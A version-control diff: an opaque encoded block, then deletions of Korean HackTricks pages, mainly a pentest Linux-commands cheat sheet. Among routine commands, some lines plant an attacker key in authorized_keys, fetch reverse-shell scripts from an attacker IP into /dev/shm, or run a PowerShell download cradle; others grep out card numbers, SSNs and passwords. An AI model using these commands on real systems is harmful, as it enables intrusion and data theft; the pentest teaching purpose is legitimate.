zJtpJ4?a$$!q~6PZvgne?mt~19$$u0sP=p0ZCZ^lZ+Eg23l4fz22LYUCHoT>{xJ3CF z->wggbk9bJQvGV5K%iXaQrE8W$J80=9*-9h(B((W8diaL=J2aOCmf6__vdBA6K(}; zino;yr@E-+NcCz)e8%(sc*g@pXtrtrC{VXaQ-iI?3db;Yefhimyk7Swh}firn@;L- z$*-s_&9I)3HG8qxV*n-KkP$6#E^>Fi7_@eSc*+zWBHQKtB%t!b00&`ubKc+!kO(&T zvEJY|>OejMpo1>(C|56<9Y_5fAvCc*zk9dXz>-ww5dLEl%l1xL@Gxz*f3gD`4diYY z-@stZ6O1I^a`M=yFF25`n9gI&pd=It@@}$|I-HF+rHm|D8=D6JCrN4TaXCm~%*k3H`l=NfdT6XKuAN|C&!#!Ak=L zoS%0A1r2nO!FF_s$-yell`K|&o{LSBsWk*BRK`?MV+y7>TVi^A&s9uDsUIkkg01aZ zNbpJU4W+~6%yF``c1~+9=$REb!Ansyn^&5%)gv~}&FOl{n+aMrh2tBg$TEnNs5FPNOc(G-bL((kqzJ2{4N2GU5YRtR zsY%QK^ebu*Y1Ew@S}UPGbfuSV2PJ_O8(q`ngiAUMI;?wr*!<5ZMF) z5dL(j6DvF((pxJ)lkiv!pg_yLw_lajP1r= zpXEY7*O4}mYQJV=v+>L_Z^<7mu!Q5zZ9^_|sw!ff22Ni5(e&HT3cFatZ?I;c&Fz zi7$SbI*}l|^Vjl+C4F(rj-SdHI`vmH(-|71+*%bb$Fg-uH(QfZTU2JP%X^W>Il5`y zqhmD6J#TLEV9C3%?1Lkw&7&%xeSFtD^L(9;N|oy(cvKmKy+%<~&&g z!rS+P7Tzb#+A}c%ljo>8?OL}7xA>;n=SVL;oZXoFV~iM~g0m_lXcM!Ys6aV66y9mXtN6z4}k3^C@aR%}{qwlnU z>DYCW?9C&|?^g%K9&oIyN4o&c)wE=FJBDLpP)KO0uKKfAy^X$Nf32~tZVof`YBSd} z0A@R!`y>c8v0uce7kX-AYLGgL2+@CmKz!HnmZv9aW}i#SNH)EmX9ll_kZHAbNH)gD z;q&fVJ4a7Mu`({jeE)aBci#vPefRdiN9buvVLnMUSuR@R5YEYwm?Q(=OMD32Lat*3 zeq{~Jk=&}dMFp=#!YT>=((X6<5`v1WBP(#eA&CP$G!;%yF@aw~c|%EzHXaiukh^b> z!wImK{nXR-VO6Nq8?}LYL!w>HN_+L#Amk=2bh)HDZ4J$yn8^&nl>EW0Vx+ z9QIS;HIj-*7tVX;4G};It@Q7&x6Ud&_6^e|Pu&>AGhgS>WuGssG+djT5Z7oeNQfqf z2pZGKFil?3Y7QW9L~J#q0iac5K~eqSH7bIynSO{ZQZ%s*vwQ8&Y}%f&>==fD76?zi z((@^z1541(2;gT5!Z%}@XO`nIOLge@P1odlkGt`H;g-%sWhTHE^C^Rgo~s&oWaly} zzcMDF3;m6If7y?7_t0IJaC$IF`BPVL2m2VJ&@1(^KuW$4FONc@lBD&#z}3^;uz!1z z4r`g1_&e{y}jXXwMn(Nj!QqYbppA8xoD zG$^lm=!tyigQtEMdR))+#?w$PYUKR#wOVN(-3U-BA zjN@>DKT$nf_ca6jShTJDq7Fao@n#FDvawFxM9hs_RVUOsURa?daKGXmP`yD-a+eXS5FfdrfR#dMql(2>b;M%o%(Ej<}HKFRS4pA ztgcukIuit%7l{Rl*~?9RM$L%d`?ZPB4t*Zzc~cf%ah%0ccyO_!qYh$6)AReB^a_Y~M zi842U?(334EROwgGO+v3rjRM2Mwb`XgklG|EWEjAxlAhT64fwzuUA6BdTPR1U(Lo4 zbi}6pvF+(8xx8|0Gf86LlGbu4Cnt$cs3K$O*M#kNyWp?UX6|#p>CNMEoJ$e{eaHh? z8WT+KN6j)05C^|CEJ&sgqHfl~*2P(cC zFSE@QS+IMK-r6^~=A(E~YmZ6-`Rs(w@hzHmzrc%=2vJc6I=MHM3l}X43;rG0-P|QW z&o%DPlmK+(fcozxt~98H3PLL{o;8Y;8jBuT#qY`WUiY6h_FkH?L|yu}u9*=ITIdqn zpwMY-ZbU~hYkC{;X@3@5K(GmkQ&S7Nb6cx)9xRJf6e1yHnK?!_*^29 zIyE>wb&gO|EK6UYKqA*_@NAP15cH{M! z`-Yj7DK87u)wQ|)-D4X$mEMLQ5OPV2(%dZHDM~|Eq<-R+;F|V(ZnJ#l!CH6gE<*i` zd;73(8~Kq!VYRG3v0^(nuP2dcNv|}dxq^&01LI@b%&WakigQ;*S+)EqlbN^S=_*m# z5y9@WNLHG0ytXKW?C0YmmV%$C^4@o#nsZly~GdXl4%Z;5{g*JmSJVE*j$M6Q4L@%*F zW(w4wU8P@1*;kQcNjP~D?~|^bTqa-)Aqy=B@dmzp?-4Q~(xc50VNbJEPI0udpp_Gj zjr!R)OhF;=!*iatV$>dU6~I;)GkCyCPCl54u5|lgq%kQYOnZd34m}e={dInTC{KU7 zJ4i|Sfpi5|vOc~iTS4!dO5{kFMtSg8pP1ofxA*W3O1WnY==I0!ZGSzxvo;snFDfp2 zdR|`n6~A>3M4jp7az2a`M~mg@0MZ**cNHrVcSqwK>tK0WiPF~&)PO9pgOL&>HvZx3 zPLukd3ux^%gj(tS+Z3k=&@s(~f?RAI{Eaye~xS|Ue=SNd2zk4kMM4|20R*59SSZ(vgl zwEvX9JFulGmV-C{fN!E36c6gs_bYFYxlTM>_lO;5QL`;-w+C_-6N7$)*9)wD(|<$L z`ZFo?xUB9qbd#c1X>88|SIlby9B+$w{pGRjm)E!SDrIXs-wASaSbEF)Fw8M#8kn;r zn|?)u4lq*Ar4hT0sDTHsNS4xaXgTj*)1zETSG0oX%Z%?6FLX{ynI5EDmSV6^UfzaR z;Ek+vU4x-t9DvZjSur-~99#e49=@)gJpk2eBEuHcOwE4gFgY|(Bt1CGWIo|%yaL3Q z2z?GP=y%qn_mFMYy_5{HHbE8Y{3O^--TQIR$l>O*YT}@LHQ2&DW#9 z+SgjN_n(T35|9>?1#;v@#HDk-n5V9-ym(5FRdQwA2f_%T6hF|T$bWns|+{&I_(-ECy<5B@?;vgE) zp7dY6IQ3iYii?%2i1JSYjp!VD4@#)I&PG4Y{2**0V=_hDZ^g>3Dx$W%ZUpxYh0LT? zF#GqvX#pCig2`cKdFOSkJc5TZh@N4uJN0ABuQF71zt76RO0#d@*JZuTXvpICWX%3P ze}~jWW$3W97|FrI^Xsi`>Qs0yN`mLO$ZK@8N5O$D-DwhT7=9D7g&R?+(zR1dB$FSKR7 zXOK?yJlPEhe$DIX-joV*<~}5sV@=c%?(WMazG}|4hEAt(nI-dcXF5uYWN>i%wVQbNB6Z zy(#iy9O(n=QFqQ9_4Q0tZ8QNbYNV}+Ou?j`znGu(+?R9IlVc_9W#2YjgI5lprlQq- z{iuVKdYmQL6ZTt1rCOl7(f~&OFocEs@IrFnZcz+tyLy~**@5TQMtF*CpO6BBdKi!; z^5LM&O+a>|RTEvEQK>o`wn57LCHV!n;F4fYGlP<)Ej<(D^**Y}sGhn~pLEk$>Ci2- zPp>}Fz}tsh=;7!!|7{JCZagRD?K_yi=U1~XN?~Ve%jL&hI6iCge)O%AfTA;!gt!Lo zd68vqh2hO*NN{0qBJ#Ub1Cn>cKLOVf2Z6fh?&59@$v0VIS5zb~)=RD8`3G22O0M7| z3T^s>OAZH3t&-@p12xbW+tet?`R%qAsOVMB;I>gWZFsm{UtV)z9_Y}j#_MO6&a0*` z7D-|kA8K&TJrT`ZunC=P%iFBf?fvEtdEIRVJ;GV6VM)3&m$6Y7q4?!Sz6wy4gl}#Q z(FNB}HR;FU6_FbgVy)@x`d%NUY+&c=}N>p3sd8;Al(G*y(onq9Qg3WdM#rezZ zD}NQ0npsK}EheZkV1*`+Fd>VHV^NucBw_^-a`^k!7Q7p@WK51m2F;KtI9}tI7bz;Q zE%$m)3U9snfi_JJuZuNh@D}K5Lkf(LnU@AfqZVz@?<;T?KJNonSp9_e+rtVl}??8 zzA7;=eD8H$lk?7vHWC$9{jM)tXoFRvj=udeu869>Q7a#5pQ}l86ZZ$A*NOZ9mmEX4 zr47cbu7UumxZyW9VL-$Tlzl>kqo8G`;QXy9jTvEr-&ImQFVH*>K~Dx8ubOd z0YU<43?lTW1Z%$6mC*zBw4OgxK193v_-tZ6U*_YC^n7LcLDD@H6OEK?LyI4|`a@gW zn(hyAWcEp@e0T)wxi|Mm%$B8k>8Uzq_8PCRT1TI28>FU(PJ@7XHul4faE!s#VnruQ z{(@t`NX$tA3H5!P!<#@KeG?RchMQ}9oCov8os?G&8=zMX<*}?Xu5UZf=x=H9;oux4 zC-Rv>{hdzzW0T8^&5q_kgc0NM9a5x2alUYq#Cl~W9?cr44%C}+2Tr?YGJgRYrL=S= z3)q$V_;N|Uhd`nd=hhZC=UuAe$f3UGUO0xb67y*Rvxgb?l;C!JcB7E0Vd@OS@eJ!2 zUM2II#bHdL+fu_NPSz)j+xlQ6 zvR#7=+t`c6dA?3dHWeKxb+j>L^e3jyLD(^xZu1R>?bWW4Xe6rCA zXegMjn|qetA%cOqL1-|nM~CsEO1YP0u3Uripy{#%Gt;$AqzTW@Md5z+7nTJDIb&@K zMx=BsM>o@j?kGs)xwWr- zyGMX)?=VrIxvbD(zzK`*3?7!M3=F>Z;tux?!xf$~;~GIAv3W2K4kvchAyxQe{=>jA zUm+%yU|9w4Q_Jv7jbPdQY%wJ@ye+B|y?_-y$CO#$cCL)NVI_jl1+~u1PI@X3N+TCn z%v5$?K+d#Cw^$ES&S_DDsQAUpo+4>y<@Di>r9@`W5$vwLd#6w)^f*&OL56+{{w?H~ zA=r_{iRkkt6$3GB?}>E(a%)8Nr&+AgFoBoQzG0^2N!D}!?9?~?6*Dn~2Mt{(#*`|x zo~r{~17#gKp}Xl&gTgRol0P=UL7!W(WRGut8JCG+%b_~ATAKah1>4G1`Q^pf{p@GA z>eovGnTnQ%+J(c$wLL$slczKB#`0&-D5mrs*?OcD(68xDc4#N_&C8TAhDu`BDtf)0 z4J_YLOdWk=ML*lkcUuRvaAMBFj?i0NIK!hnz!NtJCjkK4$}wz_u+pcu+A(H0w!6oyxizdP~! zdR;%)bBel%e^1Yu7k-@t5?9i(yl=&zP(wtuZf^d!>flz#RJ^NJ2D9q*!2``{*d^_fDQ;X7UPRw_we zC6B`dO&!Xqv0Dxhv;_ly$t~>szRm33&!LU_=&{9vW$TAFlWfjEGmY7)U8 zXX(7q8nxDR?=JchL0^C6-pqhzoRlg)^Y;PDNaPjX59Wb5$g*D;SXeBA!GL|(!N6u6 z=?7Ly^bKMiy`84^485IUrI4bxpXV^!K3|IPV$7SfUAlQ-6k_H`QMcWa4&AaP`{8+3 zn-5iNjaV?Kx6X>=wmYZkKI$W#lSRUh^@=ZfLvzes5*d8KvGtxlG1VjPi7RIs^pg9- z>c)y3y0sfEJybY_PA0t})g~h`F)lHa-vOKc#+MGeQ8qABaR~ah^?rAvr2N8rsY(b% zGY-W{vcv;`q$n#q$*Os~{{`M`El%@(_s?8VS*YvX0v;i4mo}vDd70!t@$qUyJAwx8 zKr`=%eoumP;KLpd^7piIR5K30%tLKnIeZYygmhfRP(Q0H-r_HLST(L$gAYM-GHz}}$*gf>xx4RHu{~e0zeFu-*#`)AU)g*&36(V( zCCmYmUp!1l?Y4oUwo#L*5X&X71L1I2RGPR*m@(5&0vO__)nA><`&X{$-Lu;GJh!RR zpUEq<7Hd!#Q`T}_2`mri z^;C&z4=f$f)|8w%{HI>!dy@4p^LX2?&#wUdXO_(GX>=8qBWhuw0yFVny5l$wlHpyhe$R!bgMd>1L^=S}JI&4eF2=)kr) z!>8i>nHsH+ny7J&;pi={GGfN#+9I1|H&qr&;^h#`9rw}B^%*bv`@L%TmAh!7KW#8j z`6O%>LT*rQyaf6B_~%`q7mk+(s*doAB8Rq&Nq90A*)L)$YzVu!Z)N`VWo`~_u1kUeEn%J$yg=EX>V+fAy>@YW2VG zbvAG`6=m+sXylVdy&Om5uL<|QRNegpl<8+kVsQzjycFW7iZ5$%U=%t(i2pT6aED5d zP_Rib-IlW~17CZQ4hmc&7h=&diKt(!Ku-~s&+Ah%z3+elMhgTNdfOvHfmi|_j>V*5 zm(waVidJ9Zlj!G)3~?y+l^jJbmD=XHAY4aSmyb|dP=`BDrn5&dk?iO^XB`R9(oRb_ zh+J^^^q@Ag>S@L;Fvti&$!Nm;WS3rcN|oeu8=nffBrVDFR@TzOean|?@pGh6r13aK z#CT8G`zcDwZPi?$Q11JObUWZ-HqfQ&r<%jr6j{SFmGP1Jq^U+P0<)^&@wJIhW8X&) zZe5>AMpqoKN}&P&Hdwt|?&ScG-xs``-Tr5msP`-Ll9K_X!h)J!PZMag^PE z4toR{&Z*#JwS&g+REO}`A9Ic2?33A~Y)WGjr6cfW2`|~ZdNix|QaCrW{aW$IM|4>zS$2ay=~N?#S&vF$pxf!VOA;3k!B!8Oc@wxo@RQxD#AJywuT0=>jp}=z7M*?Lm=3>h*CJsrc(xk%6fhdN{-V+y1=0+w5&~p&a%u-~7&Vydta6g8m;Gk?)C# z&WRcQdg@3r)Nq}mvah;eA(36ySIGJc%A6>0djjDs&yykL-438}LMl9M^|Srxdznps z-^$OO5-DA0I078EQ>C@YhDt{+DzLWJhK{ybB~$iZ!EPjX+pSkcJohghV7Cm|XRJWk zNg)m@ROAucNZ(g1XV%rtXgz())k|%Yj4b#hdA!+xjJ~3b8JF0%Cvly}6BHCBE504& zY4;Zn&~Gq)Y*CXZB#<~t)g1Srs)7DjBpEN#HBeIWCd^Rv;Lp?E%9UHe_<6<2P}ykC z1TZ#@MFhi|65ZZkWxS>@4BoBgK`Z837`dBqPViZu*V*T|-)@l6ocgL5z zG8~mXCTvygUG31A?Qo#F0H$pG?qf%`qD_`iVTr>wNS#yLDvT#rq&)jMTc27a787cfT`i1>fF zKa)-&Mn(w}-n_!)I7OOjmqO1!I=QK`E57Mq<@1t~O}Phw!d?B5oy*Ea6`JYBhvSrs zvu4!&;p%H%4y9({r}Vilb3isSq-DU59RL5wv_DB7B$kW3*xqgWZ2Uz9oyi?)ASyQi z4N06vqs8pgOOs1}v?pwRxT0v<3nyNbJ~5pyk<--NFb|F=kSP`fWc2WX;d7G_$}ei}#S&@Utt(Ywsc zcOjh*|37$6doop7#;8IqUXif2%vI@qxi_U-rQG_@7eudPFd z*2CH1EyFk}W_{(#YR4DdJX2PQ$*0S;`}4V<(k>?$x~0vKdwap1L-0{gTg$$w!r~6o!zEfqixJiB~^9w_v@R8q*~f= z4w3_@+}s}?c29C`J3h{U?ceoq1)VBXt}vWwVM_g%(%b_CtChM?8YP_{oZ6Kwf(fvC z&8(IN4rC~7dhoS@vwa@7k9jr)LIR5C$U2nOz-@Z(}#t$co=QH^%*R3;9t%tc%U>*Y;Nh4H0K@LThj?4J4tT$!^Goj zfYhFkgx7K+{Mr1Lb>~LGO%oieCQX}J z6?2C!EZTav^BEN6D7Xd-s71w;|HISa=~|o9?zwt}x5T%1_IC$xVq^_(Czvy#qyy+1 z)R*KY&93$EBZn)wKER9GV>MYAKJqm|EX-SR?3X4Zxyx*oU)~Th>OPI!zw}^;h%%7is4eNI*{rDk?iG?~E*i^!# z#<-#xOWKF0gyglsR7FWo%NTxjWFrr2nxuRC0f4apDf`lYHZuIRaYjLyj5O&DBEjU& z+)sl40N&3?o&^~KMxB~H5eoALqOSLm{R@5KcK=cjFG3a)A>mYqvT=lX^^!RG5*JfV z{;&V2TIpY4RISTU=!=${bmq4s^j5v@uxz1cyRnCLRVs zV0*S67)250CLd09ADdu+Ia9CG*SbtBUu9$q+X*qn{~^2A^?aclWp7b?ue~NBAcT6a z>u=Q-(f-Q_9k;wD-;!VpVFWP>T?Upg1&^wgLGgRW{|I6M=cmOX&D>06BAZg0b(ZtM zr%|X@_ySFp``7uGe-*!C5>NLKg#{r0KZ;#C$X9rWZAq;Tg{h|gSMxvhhxVv&{k*WT56+Ct-{r7ag5a(Cc{!t}^>~FK-*VBLgUu%8m}=&JMEqO)m;48+ z-{~#2n^QTV)&%4^a;B#;hs6a5^|Aj62wckQ`o9Qz4(7~FqW0D z*TPyFVj(JZnA;Dr*eLIBzg*lLm1~*p{viCH9^~+wr1y+t{~yAmgxQ!`+6YDSEB$|w z0SDtm+984z4BnUvq}Y?`lGahBc`}~P{UcABrj5bFXlDPiAS^e0?x1+!HE^>$G}0o_ zeVrDRM^)WhDOD*oduxrdzd_b$cmH - -``` -## 방어 - -절대 GET 매개변수나 URL 경로에 민감한 데이터를 넣지 마십시오. - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/README.md b/src/linux-hardening/useful-linux-commands/README.md deleted file mode 100644 index 4be7ca214..000000000 --- a/src/linux-hardening/useful-linux-commands/README.md +++ /dev/null @@ -1,296 +0,0 @@ -# 유용한 리눅스 명령어 - -{{#include ../../banners/hacktricks-training.md}} - -## 일반적인 Bash -```bash -#Exfiltration using Base64 -base64 -w 0 file - -#Get HexDump without new lines -xxd -p boot12.bin | tr -d '\n' - -#Add public key to authorized keys -curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys - -#Echo without new line and Hex -echo -n -e - -#Count -wc -l #Lines -wc -c #Chars - -#Sort -sort -nr #Sort by number and then reverse -cat file | sort | uniq #Sort and delete duplicates - -#Replace in file -sed -i 's/OLD/NEW/g' path/file #Replace string inside a file - -#Download in RAM -wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py -wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm -curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py - -#Files used by network processes -lsof #Open files belonging to any process -lsof -p 3 #Open files used by the process -lsof -i #Files used by networks processes -lsof -i 4 #Files used by network IPv4 processes -lsof -i 6 #Files used by network IPv6 processes -lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234 -lsof +D /lib #Processes using files inside the indicated dir -lsof -i :80 #Files uses by networks processes -fuser -nv tcp 80 - -#Decompress -tar -xvzf /path/to/yourfile.tgz -tar -xvjf /path/to/yourfile.tbz -bzip2 -d /path/to/yourfile.bz2 -tar jxf file.tar.bz2 -gunzip /path/to/yourfile.gz -unzip file.zip -7z -x file.7z -sudo apt-get install xz-utils; unxz file.xz - -#Add new user -useradd -p 'openssl passwd -1 ' hacker - -#Clipboard -xclip -sel c < cat file.txt - -#HTTP servers -python -m SimpleHTTPServer 80 -python3 -m http.server -ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start" -php -S $ip:80 - -#Curl -#json data -curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint -#Auth via JWT -curl -X GET -H 'Authorization: Bearer ' http://host:3000/endpoint - -#Send Email -sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content - -#DD copy hex bin file without first X (28) bytes -dd if=file.bin bs=28 skip=1 of=blob - -#Mount .vhd files (virtual hard drive) -sudo apt-get install libguestfs-tools -guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd - -# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys -ssh-keyscan 10.10.10.101 - -# Openssl -openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server -openssl x509 -in ca.cert.pem -text #Read certificate -openssl genrsa -out newuser.key 2048 #Create new RSA2048 key -openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb) -openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate -openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate -openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox) -# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using: -openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12 -# Decrypt ssh key -openssl rsa -in key.ssh.enc -out key.ssh -#Decrypt -openssl enc -aes256 -k -d -in backup.tgz.enc -out b.tgz - -#Count number of instructions executed by a program, need a host based linux (not working in VM) -perf stat -x, -e instructions:u "ls" - -#Find trick for HTB, find files from 2018-12-12 to 2018-12-14 -find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null - -#Reconfigure timezone -sudo dpkg-reconfigure tzdata - -#Search from which package is a binary -apt-file search /usr/bin/file #Needed: apt-get install apt-file - -#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html -echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw - -#Set not removable bit -sudo chattr +i file.txt -sudo chattr -i file.txt #Remove the bit so you can delete it - -# List files inside zip -7z l file.zip -``` -## 윈도우용 Bash -```bash -#Base64 for Windows -echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 - -#Exe compression -upx -9 nc.exe - -#Exe2bat -wine exe2bat.exe nc.exe nc.txt - -#Compile Windows python exploit to exe -pip install pyinstaller -wget -O exploit.py http://www.exploit-db.com/download/31853 -python pyinstaller.py --onefile exploit.py - -#Compile for windows -#sudo apt-get install gcc-mingw-w64-i686 -i686-mingw32msvc-gcc -o executable useradd.c -``` -## 그렙스 -```bash -#Extract emails from file -grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt - -#Extract valid IP addresses -grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt - -#Extract passwords -grep -i "pwd\|passw" file.txt - -#Extract users -grep -i "user\|invalid\|authentication\|login" file.txt - -# Extract hashes -#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128}) -egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt -#Extract valid MySQL-Old hashes -grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt -#Extract blowfish hashes -grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt -#Extract Joomla hashes -egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt -#Extract VBulletin hashes -egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt -#Extraxt phpBB3-MD5 -egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt -#Extract Wordpress-MD5 -egrep -o '$P$S{31}' *.txt > wordpress-md5.txt -#Extract Drupal 7 -egrep -o '$S$S{52}' *.txt > drupal-7.txt -#Extract old Unix-md5 -egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt -#Extract md5-apr1 -egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt -#Extract sha512crypt, SHA512(Unix) -egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt - -#Extract e-mails from text files -grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt - -#Extract HTTP URLs from text files -grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt -#For extracting HTTPS, FTP and other URL format use -grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt -#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex" - -#Extract Floating point numbers -grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt - -# Extract credit card data -#Visa -grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt -#MasterCard -grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt -#American Express -grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt -#Diners Club -grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt -#Discover -grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt -#JCB -grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt -#AMEX -grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt - -# Extract IDs -#Extract Social Security Number (SSN) -grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt -#Extract Indiana Driver License Number -grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt -#Extract US Passport Cards -grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt -#Extract US Passport Number -grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt -#Extract US Phone Numberss -grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt -#Extract ISBN Numbers -egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt -``` -## 찾기 -```bash -# Find SUID set files. -find / -perm /u=s -ls 2>/dev/null - -# Find SGID set files. -find / -perm /g=s -ls 2>/dev/null - -# Found Readable directory and sort by time. (depth = 4) -find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Found Writable directory and sort by time. (depth = 10) -find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Or Found Own by Current User and sort by time. (depth = 10) -find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Or Found Own by Current Group ID and Sort by time. (depth = 10) -find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Found Newer files and sort by time. (depth = 5) -find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less - -# Found Newer files only and sort by time. (depth = 5) -find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less - -# Found Newer directory only and sort by time. (depth = 5) -find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less -``` -## Nmap 검색 도움말 -```bash -#Nmap scripts ((default or version) and smb)) -nmap --script-help "(default or version) and *smb*" -locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb -nmap --script-help "(default or version) and smb)" -``` -## 배시 -```bash -#All bytes inside a file (except 0x20 and 0x00) -for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done -``` -## Iptables -```bash -#Delete curent rules and chains -iptables --flush -iptables --delete-chain - -#allow loopback -iptables -A INPUT -i lo -j ACCEPT -iptables -A OUTPUT -o lo -j ACCEPT - -#drop ICMP -iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP -iptables -A OUTPUT -p icmp -j DROP - -#allow established connections -iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT - -#allow ssh, http, https, dns -iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT -iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT -iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT -iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT -iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT -iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT -iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT - -#default policies -iptables -P INPUT DROP -iptables -P FORWARD ACCEPT -iptables -P OUTPUT ACCEPT -``` -{{#include ../../banners/hacktricks-training.md}} 